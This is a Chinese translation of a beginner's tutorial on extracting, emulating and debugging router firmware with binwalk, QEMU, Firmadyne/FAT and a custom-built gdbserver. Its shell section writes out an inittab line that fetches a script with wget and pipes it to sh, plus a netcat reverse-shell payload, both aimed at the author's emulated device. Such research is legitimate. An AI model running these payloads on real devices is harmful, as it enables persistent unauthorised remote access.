译文 | 路由器黑客和固件仿真初学者指南
2022-2-22 09:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:152 收藏

img

序幕

这篇文章是关于我的个人经历;一个新手黑客——他对路由器反转和我必须面对的挑战、我所做的研究以及我在旅途中学到的东西非常陌生,在我之前的帖子中部分提到过。

在经历了模拟固件的经历后,我决定将我所学的所有资源和信息都编译在一个地方,这样初学者的时间就会相对轻松一些。

因此,根据我的经验,我通过这篇文章分享的想法和资源将是高度主观的,并且这篇文章中可能存在一些错误。所以,如果你偶然发现我在这篇文章中犯的任何错误,请联系我。我将永远感激你将提供的学习经验,并帮助我使这篇文章更符合事实。

注意:由于路由器是嵌入式设备,并且在大多数嵌入式设备中执行反转的步骤基本相同,因此我将在本文中互换使用术语路由器和物联网/嵌入式设备。

目录

  • 序幕
  • 如何发现固件中的漏洞?
  • 为什么我们需要效仿firmare?
  • 如何获取固件?
  • 如何提取固件?
  • 提取打包的固件
  • 使用 Binwalk 提取内容
  • 可以执行固件仿真的管理程序
  • 如何执行固件仿真?
  • 获取交互式外壳
  • 查找支持的 gdbserver 二进制文件
  • 使用自定义工具链编译二进制文件
  • 后奏曲

如何发现固件中的漏洞?

我们可以通过多种方式在物联网/嵌入式设备的固件中找到漏洞。以下是我们可以检查嵌入式设备是否存在漏洞的方法的非详尽列表。

我们可以提取嵌入式设备的固件并且:

  • 检查易受攻击的软件版本
  • 检查硬编码的后门凭据
  • 执行单个二进制文件以检查漏洞
  • 模拟整个系统 用于动态分析
  • 反编译二进制文件/库并执行静态分析

执行前两项检查所需的技能水平和难度级别非常低。借助一些命令行工具和 *nix 系统如何工作的基本知识,可以轻松完成前两项检查。但是,执行其余检查所需的技能级别及其相应的难度级别在给定列表中呈指数增长。

下表给出了一个表格,可以一目了然地了解上述任务。

不同的漏洞检查一目了然

为什么我们需要效仿firmare?

就像我上面提到的,使用固件模拟整个系统将使我们能够对设备进行深入的动态分析。例如,路由器几乎总是会运行 Web 服务器。由于添加到设备的自定义功能可能驻留在嵌入式设备上的预编译二进制文件或库中,因此研究人员通常需要将二进制文件附加到调试器,例如gdb用于动态分析。由于资源限制,gdbserver即使我们在设备上有一个shell,也不能直接在嵌入式设备上执行。

我们可以尝试单独执行二进制文件,但通常这些二进制文件会有多个依赖项,并且在不模拟整个系统的情况下解决所有依赖项问题可能非常复杂且耗时。

因此,对于动态分析设备,固件仿真是最好的方法。但是,如果您不了解基础知识或选择了错误的工具,固件仿真可能会很棘手。

注意:如果您想直接跳到如何模拟固件的部分,请跳过以下部分并阅读 “使用 FAT 实现完整的系统仿真“.

为了模拟物联网设备,我们需要专门用于模拟 MIPS 系统的 Hypervisor。现在你们中的一些人可能会认为我们已经有几个可用的 Hypervisor,比如 VirtualBox、VMWare Player。为什么我们需要如此低级的工具来模拟固件?

如果您有这个问题,请不要担心。你不是一个人。我也有同样的问题。这是因为,我们需要支持不同类型的管理程序CPU 仿真,以便可以模拟为特定 CPU 类型设计的固件。

[ PS:维基百科上有一个很棒的页面 不同虚拟化软件的比较。查看它们支持的不同虚拟机管理程序和客户 CPU,以了解我在说什么。]

大多数路由器和嵌入式系统在具有MIPS(无互锁流水线阶段的微处理器)指令集架构的特定类型的RISC CPU上运行。因此,为了执行为 MIPS 编译的程序,管理程序必须模拟 MIPS CPU 并将用于 MIPS CPU 的指令转换为主机系统的ISA(指令集架构);在我们的例子中是(x86 或 x64)。

既然“为什么”已经不在了,让我们来谈谈“如何”。

如何获取固件?

固件仿真的第一步显然是掌握嵌入式设备的固件。这对供应商的政策和我们尝试使用的设备的使用年限具有很大的主观性。

来自 youtube 频道MakeMeHack的 Valerio深入解释了如何获取固件。观看他的视频,如果您更喜欢呈现精美的视频版本;否则请阅读。

从供应商的网站下载固件

最简单的方法是从供应商的网站下载固件。如果有公开可用的固件文件,那么我们可以简单地谷歌“供应商名称+型号+固件下载”我们会很容易地得到它。

如果由于某种原因固件无法公开获得,那么我们将不得不依赖更难的技术。下面给出了在不依赖官方资源的情况下转储固件的技术。

使用 UART 转储固件

获取固件最简单的方法是使用UART。如果设备有一个暴露的调试 (UART) 引脚,那么我们可以连接一个串行连接器,我们可以尝试在盒子上安装一个外壳。如果我们能够在盒子上获得一个外壳,那么我们可以尝试使用命令行将整个闪存转储到一个文件中。从此处和此处阅读有关此方法的更多信息。

使用 Bus-Pirate 转储固件

Bus-Pirate是一种串行通信设备,可以连接到嵌入式设备的[JTAG](https://en.wikipedia.org/wiki/JTAG#:~:text=JTAG (named after the Joint,printed circuit boards after manufacture.&text=The Joint Test Action Group formed in 1985 to develop,printed circuit boards after manufacture.)调试端口,进行各种分析和调试操作。这实际上是一个更难且相对昂贵的选择,如果您确定在目标设备中启用了 JTAG 端口并且您愿意购买总线盗版,则应该尝试。

如果您想定期修补不同的设备,Bus-pirate 确实是一项值得的投资。这是一篇关于如何使用 Bus-Pirate 转储固件的文章。

在 OTA 升级期间嗅探固件文件

大多数嵌入式设备使用 HTTP 协议进行通信。由于资源限制,它们通常不实施 HTTPS。如果嵌入式设备具有 OTA 更新选项并且它使用 HTTP 协议,那么我们可以利用它来发挥我们的优势。我们可以使用 Wireshark 等嗅探工具嗅探嵌入式设备的流量,并揭示设备如何请求 OTA 服务器获取固件映像。

然后,我们可以从我们的 PC 对相同的 URL 执行相同的请求,也可以使用 Wireshark 将嗅探到的数据包保存为文件。

但是,如果我们想转储路由器的固件,事情就会变得复杂。如果是这种情况,并且如果路由器能够将所有流量镜像到监控端口,那么事情会更容易。否则,我们将不得不执行 MiTM 攻击,而我认为这要困难得多。

PS:如果有 OpenWrt/DDWrt 路由器,那么我们可以将目标路由器连接到 OpenWrt 路由器,启用流量镜像并从那里嗅探目标路由器的流量。阅读有关如何在 OpenWRT 路由器中执行流量镜像的更多信息 在这里。

如何提取固件?

要提取固件,我们需要了解典型的嵌入式固件是如何打包的。通常固件是一个.bin文件,其中嵌入了多个文件。

通常固件二进制文件包含引导加载程序(uBoot)、内核文件、引导加载程序的内核头文件(uImage)、压缩文件系统(通常为SquashFS格式)、CRC/MD5 表(用于验证文件完整性)和其他杂项文件.

大多数文件将使用lzma 或其他压缩格式进行压缩以节省空间。

我们需要的是从单个文件中提取单个.bin文件。为此,我们必须使用 Linux 发行版。对于 Windows 用户,运行 WSL 实例就足够了。

现在您可以根据自己的喜好选择任何 Linux 发行版,因为我要提到的所有工具都是 *nix 工具。但是,如果你是一个绝对的初学者并且不想在编译工具上花费太多时间,那么选择我将在下面提到的两个发行版之一。

我建议运行[AttifyOS](https://www.attify.com/attifyos#:~:text=AttifyOS is a penetration testing,with your next IoT pentest.)或Ubuntu。

AttifyOS 是一款出色的 Linux 发行版,用于测试物联网安全性。是的!有一个专门用于测试 IoT 安全性的发行版!当我第一次了解 AttifyOS 时,我惊呆了,当我启动 AttifyOS 时,我被震撼了。

AttifyOS 团队已经预先安装和配置了我为这项特定任务所需的每个工具,它为我节省了大量时间。AttifyOS 只是boot it and forget it体验而已。要在顶部添加樱桃,操作系统的默认 shell 是 Fish;这使得通过 CLI 导航变得轻而易举,无需任何额外配置。此外,AttifyOS 团队正在开发固件分析工具包;我稍后会解释。

所以我强烈建议读者运行 AttifyOS,因为我将在这里提到的所有工具都已经在 AttifyOS 中安装和预配置。

Attify OS 的主屏幕

我在这里提到了 Ubuntu,因为根据我的个人经验和一些轶事,Ubuntu 已经在存储库中提供了所有必需的工具,而且 Ubuntu 对于初学者来说可能更熟悉。

Arch用户,不要@我!

我们通常需要执行固件提取和分析的工具的一般列表如下:

  • 宾沃克- 从文件中识别和提取.bin文件
  • 字符串- 从文件中提取 ASCII 字符串
  • 兹玛- 提取 lzma 压缩文件unlzma
  • Squashfs-工具– 提取 squashfs 文件系统使用unsquashfs
  • 文件– 使用 MagicBytes 识别文件类型
  • DD- 将重复文件从一个地方/文件提取到另一个

提取打包的固件

我将使用示例路由器固件并逐步演示提取过程。

PS:我可能不会使用我在示例中提到的所有工具,因为工具的使用因固件而异。

在这里,我有一个恰当命名的固件firmware.tar

img

对我来说幸运的是,固件文件在 tar 存档中;不是.bin文件。这意味着我可以轻松查看和提取文件的内容,而无需依赖诸如binwalk识别和提取固件中嵌入的文件之类的工具。

让我们使用以下命令查看 tar 存档的内容。

tar -tvf firmware.tar

我得到了以下文件列表。

img

文件名及其简要说明如下。

  • fwu.sh – 固件更新脚本
  • 根文件系统 – 压缩的根文件系统
  • uImage – Linux 内核映像
  • fwu_ver – 带有新固件版本号的 ASCII 文本文件
  • md519.txt - 用于文件完整性检查的哈希列表

好的,现在文件内容已经清楚了,让我们解压 tar 存档。我使用以下命令将firmware.tar存档文件的内容提取到名为extracted.

mkdir extracted
tar -xvf firmware.tar -C extracted/
img

现在存档已解压缩,让我们file在提取的内容上运行。

img

我们可以看到该rootfs文件是一个squashfs文件系统;这是一种压缩的只读文件格式。unsquashfs让我们使用命令解压文件系统。

img

unsquashfs命令创建了一个名为的目录并将文件的内容squashfs-root提取到其中。rootfs

img

现在它已被提取,让我们看看提取的文件系统。

img

优秀!我们可以看到类似于 *nix OS 的目录列表!

我们可以用提取的文件系统做很多事情。

例如,我们可以使用我们的 unix 命令行技能在/etc/passwdor/etc/shadow中寻找硬编码的后门凭据,在不同的配置文件中寻找纯文本密码,在 中检查易受攻击的配置文件,在/etc/中检查初始化脚本/etc/init.d等等!

我们还可以检查易受攻击的软件/内核版本,反编译二进制文件/库。

专业提示 #1:使用grep -Ri 'password\|passwd\|pass' * 2>/dev/null, 当在 /etc, /var 等目录中列出包含字符串的文件时password 要么密码要么pass.

可以在网上找到有关固件提取的更多详细信息。这里有一些令人难以置信的资源,我从那里了解到固件提取。

  • Valerio 关于固件提取的精彩视频
  • Tony Gambacorta 的固件提取视频
  • linkcabin 关于固件提取的视频
  • Embedded Bit关于固件提取的文章(从Step:4开始阅读)

使用 Binwalk 提取内容

如果固件文件在正常存档中,我已经解释了如何提取固件。但是,如果文件是.bin文件呢?

如果我们想从.bin文件或未知文件格式中提取内容,或者file工具返回的文件类型为data,我们可以使用它binwalk来识别和提取文件中的内容。Binwalk是一个易于使用的工具,用于分析、逆向工程和提取固件映像。Binwalk 将在文件中搜索熟悉的文件签名,我们可以从中提取识别的文件。

为了演示 的使用binwalk,我将提取uImage文件;这是一个Linux内核映像。它包含一个头文件和压缩的内核映像文件。

binwalk uImage
img

我们可以看到文件中嵌入了两个uImage文件。

一个 uImage Header 和一个 LZMA 压缩的内核图像。如果我们查看小数部分,我们可以看到 uImage Header 文件部分从文件中的 0 字节开始,uImage并扩展到 64 字节。然后 LZMA 压缩文件部分在 64 字节之后开始并一直延伸到uImage文件末尾。

现在,如果我们要提取 检测到的所有内容binwalk,那么我们可以指定-e标志,binwalk并将binwalk识别的文件自动提取到名为的文件夹中_文件名替换为我们指定的文件名。

binwalk -e uImage

甜的!

Binwalk将它从uImage文件中识别的文件提取到名为_uImage.extracted.

现在让我们对提取的文件运行strings命令,以执行一些快速的静态分析。

strings -n 6 40 |less

上述命令将在指定文件中搜索可打印字符,字符串长度 >= 6 个字符。

我得到了如下所示的信息。

img

我们有一些有趣的信息,例如内核版本、gcc 版本和用于为路由器编译程序的 Toolkit 版本,即 Realtek RSDK 1.5.6p2。

在搜索设备中的漏洞、调试或为设备编译自定义可执行文件时,这些信息可能会派上用场。

PS:下一部分“使用 dd 从文件中雕刻数据”是可跳过的。但是,知道如何使用一个伟大的工具,例如dd在我们的武器库中是一项很好的技能。

奖励:使用 dd 从文件中雕刻数据

我已经解释了如何使用binwalk. 但是,如果我们只想从二进制文件中提取一个文件怎么办?

例如,我想从文件中仅雕刻 LZMA 压缩内核图像uImage文件。如果我只想要一个文件,我可以使用该dd实用程序从二进制文件中切出特定文件。

让我用一个例子来证明这一点。

从上面的binwalk输出中,我可以看到uImage标头从 0 字节开始。我可以通过从下一个文件的十进制大小中减去起始字节来估计标题的大小。

简单来说,如果我要计算文件F1的大小,那么可以通过下一个文件F2的起始字节减去F1的起始字节来计算。

img
img

在这里,下一个文件(LZMA 压缩内核)的起始大小是 64。所以uImage header,0-64=64字节。

我们现在可以使用dd命令来提取uImage Header.

dd if=uImage bs=1 skip=0 count=64 of=header.img 

该命令将读取uImage文件,从第 0 个字节开始到第 64 个字节。然后它将内容保存到名为header.img.

dd命令标志解释。

  • 如果 – 输入文件名
  • BS – 块大小
  • 跳过 – 从哪个字节开始读取
  • 数数 – 读到这个字节
  • 的 – 输出文件名

注意:这里skip=0是可选的,因为dd默认情况下从文件的开头读取。此外,如果我们想从 uImage 中雕刻出最后一个文件,则count可以跳过该标志,因为默认情况下dd会读取到文件末尾。

dd 的输出

这种方法的缺点是,如果我们不计算文件的大小,那么写入的输出文件dd很可能会损坏。所以,请记住这一点,在dding 之前。

不要喝酒和dd!

可以执行固件仿真的管理程序

现在我们已经提取了固件的内容并执行了一些静态分析,这时我们可能需要开始执行二进制文件或模拟整个系统;这样我们就可以重现运行设备的状态并进行动态分析。

在开始之前,让我们熟悉一些固件仿真所需的工具。

选择一个工具来模拟固件完全取决于研究人员的时间和他们试图实现的最终目标。

例如,如果研究人员只需要快速检查一个二进制文件,他们可能会使用 QEMU 用户模式仿真。但是如果他们需要通过网络通信进行调试,那么他们会希望使用 QEMU Full System Emulation 模式。

我们可以使用多种工具来模拟嵌入式固件。他们是:

  • QEMU
  • 菲尔马丹
  • 固件分析工具包
  • 启灵
  • 独角兽引擎
  • 用户角
  • 比尼

可能还有其他几个,但就我的研究而言。这些是最好的。其中,我只谈其中的三个。

QEMU、Firmadyne 和固件分析工具包。

QEMU

其中最强大和最底层的工具是 QEMU。QEMU 是一个免费的开源 管理程序。它通过动态 二进制翻译模拟机器的处理器, 并为机器提供一组不同的硬件和设备模型。QEMU 还可以对用户级进程进行仿真,允许为一种架构编译的应用程序在另一种架构上运行。

QEMU 有不同的运行模式。但是,考虑到本指南的范围,我们只需要了解两种模式:

  • 用户模式仿真
  • 全系统仿真

QEMU:用户模式仿真

在这种模式下,QEMU 将运行为不同平台编译的单个二进制文件。使用它,我们可以在没有完整系统仿真的情况下执行某种程度的动态分析和运行程序。

QEMU:全系统仿真

在这种模式下,QEMU 模拟一个完整的计算机系统,包括 外围设备。QEMU 可以引导许多客户 操作系统,包括 Linux、 Solaris、 Microsoft Windows、 DOS和 BSD。它还支持模拟多个指令集,包括 x86、 MIPS、32 位 ARMv7、 ARMv8、 PowerPC、 SPARC、 ETRAX CRIS 和 MicroBlaze。

但是由于 QEMU 的级别太低,我很难配置。即使在它开始完整的系统仿真之后,由于某些路由器特定的配置,仿真中也存在一些错误。

因此,如果您有特定的用例或以前使用 QEMU 的经验或时间限制对您来说不是问题,请继续修改不同的 QEMU 配置!

但对于初学者,我不建议直接依赖 QEMU 进行全系统仿真。

Ringzerolabs 有一个很好的教程,介绍了使用 QEMU 进行 MIPS 仿真的基本方法以及 MIPS 的交叉编译程序(如果没有可用的预编译二进制文件,编译 gdbserver 是必需的)。

另一篇优秀的文章来自 Zerodayinitiative,他们在其中详细讨论了通过 QEMU 进行固件仿真。

菲尔马丹

Firmadyne是一个自动化且可扩展的系统,用于对基于 Linux 的嵌入式固件进行仿真和动态分析。

简而言之,Firmadyne 是建立在 QEMU 之上的,它就像 QEMU 一样。Firmadyne 支持 QEMU 用户模式和完整系统仿真,并具有大量出色的功能。Firmadyne 的功能包括用于从下载的固件中提取文件系统和内核的内置提取器、用于生成用于调试的附加 shell 的小型控制台应用程序、用于从 42 多个不同供应商下载固件的刮板、漏洞检查器脚本等等。

用法非常简单,但需要一些初始配置才能开始。

固件分析工具包

固件分析工具包 (FAT)是由 AttifyOS 团队开发的用于自动化 Firmadyne 的脚本。FAT 非常易于使用,并且可以处理 Firmadyne 中的初始配置工作。

FAT 的配置非常小,我们只需在文件中指定 sudo 密码和 Firmadyne 的路径fat.config

之后,使用 FAT 模拟固件非常容易。只需指定固件文件,固件将自动提取,内容将复制到firmadyne的文件夹,如果我们愿意,FAT将启动完整的系统仿真!

是的。就是这么简单。

FAT的层次结构

如何执行固件仿真?

我已经解释了如何获取固件、如何提取固件以及如何使用grep和执行基本的静态分析。strings我还讨论了模拟嵌入式固件的不同工具。现在,让我谈谈大枪;如何模拟固件。

使用 QEMU 用户模式仿真模拟单个程序

为了模拟固件,我们首先需要识别目标设备的指令集架构和字节序。在我们的例子中,目标设备具有 MIPS 架构,并且字节序是 Big Endian。它也被称为最高有效位 (MSB) 架构,因为大端架构将最高有效字节的字节排列在最低编号的地址。因此,简而言之,它将被表示为mipsebmips

如果目标设备具有 MIPS 架构且字节序为 Little Endian,则将其表示为mipsel。Little-Endian 也称为 Least Significant Bit (LSB) 架构,因为 Little-endian 处理器在内存中对字节进行排序,多字节值的最低有效字节位于最低编号的内存位置。

暂时将这些信息放在脑后。

查找字节序的最简单方法是使用该file工具。

只需file对提取的固件文件系统内的任何一个可执行文件使用命令即可。

img

我们可以看到file返回了相当多的信息。我们可以看到二进制文件busybox是为具有 32 位 MIPS -I 版本 CPU 的设备编译的,具有 MSB(大)字节序。即,这个特定设备的架构被表示为mipseb或只是简单地表示mips

现在我们已经确定了处理器 ISA 和 Endianess,让我们找到模拟用户模式程序所需的工具。

该工具称为qemu-user-static. 在基于 debian 的系统中,我们可以使用sudo apt install qemu-user-static.

安装完成后,我们将拥有相当多的 QEMU 的静态链接二进制文件来模拟不同 CPU 类型的程序。

qemu-user-static用于在用户模式下模拟程序的二进制文件列表

现在我们需要选择一个合适的程序。

我们需要的是一个名为. 这是 QEMU 的静态编译版本,我们可以使用它来执行用户模式仿真。由于我的目标 ISA 是,我正在寻找一个名为qemu-<CPU-TYPE>-static``mips``qemu-mips-static``.

我要将二进制文件复制到提取的 squashfs 文件夹中。我们需要成为 root 才能执行此操作。

我们可以使用下面一行将二进制文件复制到解压后的文件 squashfs 系统中。

cd squashfs-root/
cp $(which qemu-mips-static) .
img

现在,我将进入 squashfs 文件夹并在 squashfs 文件系统的文件夹中chroot执行命令。ls``bin

sudo chroot . ./qemu-mips-static bin/ls

多田!

ls工具实际上是为 MIPS CPU 编译的,我们现在正在 x64 CPU 中执行该程序!很酷吧!?


现在,如果我们尝试运行动态链接的二进制文件,可能会弹出缺少库文件的错误。如果是这种情况,那么我们可以使用 LD_PRELOAD 或 LD_LIBRARY_PATH 环境变量来指定丢失库文件的路径qemu-user-static

例如:

sudo chroot . ./qemu-mips-static -E LD_LIBRARY_PATH="/lib/" bin/ls

qemu-user-static还有一些很酷的内置功能,如打印strace(Flag -strace)、内置gdbserver(Flag -g <PORT-NUMBER>)等,这使得调试更容易。

将 gdb-multiarch 附加到 gdbserver

激活gdbserver后,我们可以连接到gdbserver端口并调试程序。但是,我们需要一个特殊的版本gdb来做到这一点。该程序称为gdb-multiarch,它支持多种架构,而不是原生架构。

要安装gdb-multiarch,基于 debian 的发行版用户可以使用

sudo apt install gdb-multiarch安装它。

安装完成后,我们可以使用gdb-multiarch.

然后我们可以指定我们需要的架构。这可能有点困难,因为有多种架构可供选择。

在内部gdb-multiarch,键入set architecture并按 TAB 以查看完整的支持架构列表。

img

仅 MIPS CPU 就有多个版本。它需要对目标设备的芯片进行一些研究才能找到确切的版本。但是,如果您不知道确切的拱门,则将架构设置为autogdb-multiarch自动检测架构。

set architecture auto
img

如果我们对架构有一些想法,那么我们通常可以将通用名称设置为目标架构gdb。就我而言,我将架构设置为mips.

gdbserver然后我们可以使用以下命令连接到本地运行的实例,假设gdbserver它在 localhost 的 port 上运行5555

target remote localhost:5555

并将gdb-multiarch开始调试过程!

使用 FAT 实现完整的系统仿真

我已经在上面提到了固件分析工具包。现在,我将使用固件分析工具包 (FAT) 来执行完整的系统仿真。

我们也可以使用 QEMU 来执行完整的系统模拟,但是涉及到很多步骤,例如获取.qcow2MIPS CPU 的映像和 debian 内核映像等。如果您有兴趣使用 QEMU 模拟固件,我强烈建议读者阅读ringzerolabs的这篇精彩文章。否则,请继续阅读。

我们可以从github repo克隆 FAT ,也可以下载AttifyOS的虚拟机文件。我推荐后者,因为它更容易并且所有工具都将预先配置!

安装 FAT 后,将固件文件复制到 FAT 的目录中。我们只需要编辑fat.config文件并在其中输入 sudo 密码。

img

注意:运行 FAT 是 一次性流程 一旦初始提取和仿真成功,我们就可以从 Firmadyne 的文件夹中运行进一步的仿真。

现在运行名为的 python 脚本并将fat.py固件的名称传递给它。

./fat.py firmware.tar

一段时间后,您将看到以下屏幕。

img

记下网络接口的图像 ID 和 IP 地址。这里图像 ID 是1,IP 地址是192.168.101.1

这里发生的是 FAT 自动提取固件,配置 Firmadyne 并将内容复制到 Firmadyne 的 Image ID:1 文件夹中。完成后,我们可以通过运行再次启动固件仿真。firmadyne/scratch/<image-id>/run.sh

这里的 Image Id 是1,所以如果我想再次模拟固件,我需要运行脚本。在 Attify 中,路径将是.firmadyne/scratch/1/run.sh``firmadyne``firmware-analysis-toolkit

注意:您需要firmadyne/scratch/<image-id>/在运行之前 cd 进入目录,./run.sh否则可能会失败。

现在,一旦 FAT 显示如上图所示的输出,我们只需按 Enter 键,FAT 将使用firmadyne.

一段时间后,您可能会收到一些重复的错误消息,如下所示。

img

这些消息是由于在系统仿真期间不满足固件特定的依赖关系而出现的。当我在大量错误输出期间按 Enter 键时,我会短暂看到控制台登录页面,但由于滚动错误,我无法输入凭据。

img

在此错误输出期间通常发生的主要问题是,我们将无法通过控制台登录。让我们在下一节中讨论如何解决此问题。至于现在,让我们跳过修复此错误消息并检查网站是否正在运行。

我尝试通过 FAT 前面显示的 IP 地址访问路由器。即,192.168.101.1

我得到了网络登录页面!

耶耶!仿真成功!

办公室 正在发生的 GIF |  男高音

如果要停止仿真,请在控制台上按 Ctrl + A。然后松开按键并按下 X。QEMU 将退出并且仿真将停止。

就像我之前说的,如果您想再次运行仿真,请 cd intofirmadyne/scratch/1/并执行run.sh以启动仿真。

获取交互式外壳

既然仿真可以完美运行,我们需要调试程序的方法。为此,通常我们需要在模拟设备上安装一个交互式 shell。在目标设备中获得控制台访问权限的方法不止一种。

通过 QEMU 控制台登录

这是在仿真盒上获得外壳的最简单方法。一旦firmadyne 启动访客设备操作系统,我们将(通常)收到登录应用程序的提示。然后,我们可以通过输入有效凭据登录到控制台。

正如我之前提到的,可以通过阅读设备的用户手册或执行固件的静态分析来获取默认/硬编码凭据。

通过 SSH/Telnet 登录

这是在模拟设备上获得外壳的另一种简单方法。如果目标设备的固件支持 SSH/Telnet 访问,那么我们通常可以从路由器的 Web 界面启用它。然后我们可以使用终端通过 SSH/Telnet 登录设备。

但是如果仿真设备的固件不支持这些选项,那么我们就不得不求助于其他方式来生成 shell。

我之前提到过,一旦启动仿真,我就会收到大量错误输出,并且无法使用 QEMU 控制台登录。

好吧,我并没有为此烦恼,因为我的路由器固件具有 Telnet 功能。但如果不是这样,那么我会有一些选择。

  • 使用 inittab 文件获取反向 shell
  • 修复固件依赖关系或抑制错误输出
  • 查找 Web Interface 中的漏洞并获得 shell

在我看来,修复固件依赖项是一件令人头疼的事情,如果仿真运行正常,我不会费心去做。但是我们可以尝试通过使用重定向错误来抑制错误2>/dev/null。我们可以附加到由文件和脚本2>/dev/null调用的命令。但这不是保证有效的方法。所以,如果没有其他方法,试试这个。/etc/inittab``/etc/init.d

获得 shell 最难的选择是在 Web 界面中搜索漏洞并取回 shell。鉴于我们已经可以访问固件,这可能是可行的;但可能很耗时。

这两种方法可能非常困难。但是我们有办法轻松获得目标的炮弹。我们可以利用 Firmadyne 的能力来拿回壳。

使用 inittab 获取反向 shell

我们可以在 Firmadyne 中挂载 Image 的文件系统,方法是执行一个名为的内置脚本,mount.sh后跟 Image ID。通过使用 Firmadyne 的这种能力,我们可以获得反向 shell。

例如,我可以使用以下命令从firmadyne目录挂载固件的文件系统。

sudo scripts/mount.sh 1
img

文件系统将安装在. 就我而言,它安装在firmadyne/scratch/<Image-id>/image/``firmadyne/scratch/1/image/

我们可以使用以下命令卸载挂载的文件系统。

sudo scripts/unmount.sh 1

挂载仿真设备的文件系统对于分析仿真设备和传输文件非常有帮助。

我们将修改模拟设备的/etc/inittab文件,以获取 shell。

对于初学者来说,该/etc/inittab文件是用来控制初始化过程的。所以无论我们在这个文件中输入什么,都会在启动过程中执行。

我们将以下行添加到设备的/etc/inittab文件中。

::respawn:/bin/wget -qO- 192.168.101.2/rev.sh|sh

一旦我将此行添加到inittab文件中,我就保存了它。

img

此命令rev.sh将从我们主机的python http 服务器获取反向 shell 脚本并将其通过管道传输到 shell。的内容rev.sh如下。

rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.101.2 4242 >/tmp/f

在这里,我使用了我的[Netcat BusyBox 反向 shell 有效负载](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#netcat-busybox)。在我之前的帖子中给出了对这个反向 shell 有效负载的解释。您可以参考它,以防有效负载使您感到困惑。

一旦 python http 服务器和 nc 监听器运行,启动仿真,我们将得到一个反向 shell!

img

现在我们在模拟设备上得到了一个交互式外壳。下一步是开始调试。为此,我们需要一个gdbserver用于目标系统的静态编译二进制文件。

查找支持的 gdbserver 二进制文件

我们现在已经获得了固件,提取了固件,执行了基本的静态分析,执行了完整的系统仿真并获得了目标上的交互式 shell 访问权限。

现在,我将解释如何找到合适的gdbserver二进制文件。这部分看起来很简单,但你会明白为什么我做了一个特定的部分只是为了解释如何在解释完二进制文件之后获取二进制文件。

在执行完整的系统仿真后,我想要的是对httpd二进制文件执行调试。为此,我们需要gdbserver在模拟设备上运行,以便我们可以将正在运行的进程附加到它。

对于懒得找工具链的人来说,配置它并使用它编译,这里有一个来自 stayliv3的gdbserver优秀存储库预编译静态gdbserver二进制文件,适用于不同版本的 MIPS、ARM 甚至 Lexra 架构。我非常感谢stayliv3 所做的工作!

我还在我的 github存储库中为 Lexra 架构上传了静态编译的 gdbserver v 7.7 。

就我而言,我想要一个用于 Lexra 架构的gdbserver版本 > 。7.1.2但是,它在stayliv3 的仓库中不可用。所以我需要手动编译 gdbserver 以获得所需的版本。

我需要gdbserverwith version >7.1.2因为我的gdb客户端是 version > 7.1 并且在及更高版本中有一些更改7.1,这使得gdb客户端在连接到旧gdbserver版本时表现不同。

但首先,我们需要为目标设备的 CPU找到一个受支持的工具链。

Firmadyne 的 github 页面有一小部分工具链和编译二进制文件的说明。

但就我而言,我有一个RTL8672芯片组,显示它是 MIPS 架构。它的行为类似于 MIPS,但它并不是真正的 MIPS 架构。我通过尝试gdbserver在模拟设备中编译和运行并多次失败来学习这一点。

那时我的研究深入研究并发现了一个关键信息,即RTL8672芯片组并不是真正的 MIPS 架构。由于专利问题,它是一个稍微不同的架构,名为Lexra,它与 MIPS 兼容。所以我不能使用通常的 MIPS 编译器来编译程序。

这就是我们在初始静态分析中获得的信息派上用场的地方。

我们从内核镜像中获得的 SDK 版本

我已经使用这些信息来查找为 Lexra 架构编译二进制文件所需的不同工具链。

使用自定义工具链编译二进制文件

我搜索了 SDK 版本,发现了一个有趣的repo,其中包含几个类似的 toolchains/SDKs。感谢mzpqnxow,因为这些 SDK 在其他地方几乎不可用。

经过反复试验,我终于在mzpqnxow的rsdk -1.3.6存储库上取得了成功。

我已经克隆了 SDK repo 并下载了带有版本gdb的源代码7.7。(大于 7.7 的版本再次发生了一些重大变化,我现在不记得了)

然后我导航到该rsdk-1.3.6文件夹并输入以下命令。

source rsdk-1.3.6-toolchain/activate

然后我提取了 gdb 的 tar 存档并导航到 cd gdb-7.7/gdb/gdbserver/;因为我gdbserver只会编译。

img

然后我输入以下命令开始gdbserver使用 Lexra 的自定义工具链进行编译。

make clean;./configure --host="mips-linux-gnu" --target="mips-linux-gnu" CC="mips-linux-gnu-gcc" CFLAGS='-fPIC -static' CXXFLAGS='-fPIC -static'

使用 cross_configure 时不需要主机和目标标志。cross_configure 是由激活脚本设置的别名,用于./configure --host="mips-linux-gnu" --target="mips-linux-gnu"

我们也可以使用下面的来configure

make clean;cross_configure CC="mips-linux-gnu-gcc" CFLAGS='-fPIC -static' CXXFLAGS='-fPIC -static'
img

现在,输入 make 编译 gdbserver。

make -j 

注意:现在如果由于某种原因编译失败,那么通常的罪魁祸首是该source activate命令未能为我们配置自定义编译器。CC如果是这种情况,请在要运行的标志中明确指定编译器的路径configure

如果配置步骤失败,请尝试在 bash shell 中运行脚本。

make clean ;./configure --host="mips-linux-gnu" --target="mips-linux-gnu" CC="/home/iot/router/rsdk-1.3.6-toolchain/rsdk-1.3.6/bin/mips-linux-gcc" CFLAGS='-fPIC -static' CXXFLAGS='-fPIC -static';make -j

如果我们的编译成功,那么目录中就会有一个gdbserver为 MIPS 编译的二进制文件。

img

就是这样!我们已经gdbserver使用自定义工具链成功地从 Lexra 架构的源代码编译!

您可以从我的 Github 存储库下载这个用于 Lexra 的 gdbserver 7.7 的预编译静态版本。

后奏曲

就是这样!

我已经尽力将我作为初学者逆向工程师的第一次体验转换为初学者易于遵循的指南(实际上是说),以便他们可以轻松地开始反转他们的第一个路由器。

我要感谢那些相信开源软件并无私地将他们的作品上传到 github、youtube 和各种博客的人,他们为世界教授了宝贵的课程。我还想对来自不和谐服务器、reddit 社区和 stackexchange 论坛的人们表示我的巨大谢意,因为他们成为了新手的好兄弟。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247485420&idx=3&sn=4dcbf62f55ea27eb2e354ab4df0e230d&chksm=fb35ae24cc4227325e71e5799c08ce23d449eb0a6ca4d1888cb4b96bc9a7af83a34b4c365ec7#rd
如有侵权请联系:admin#unsafe.sh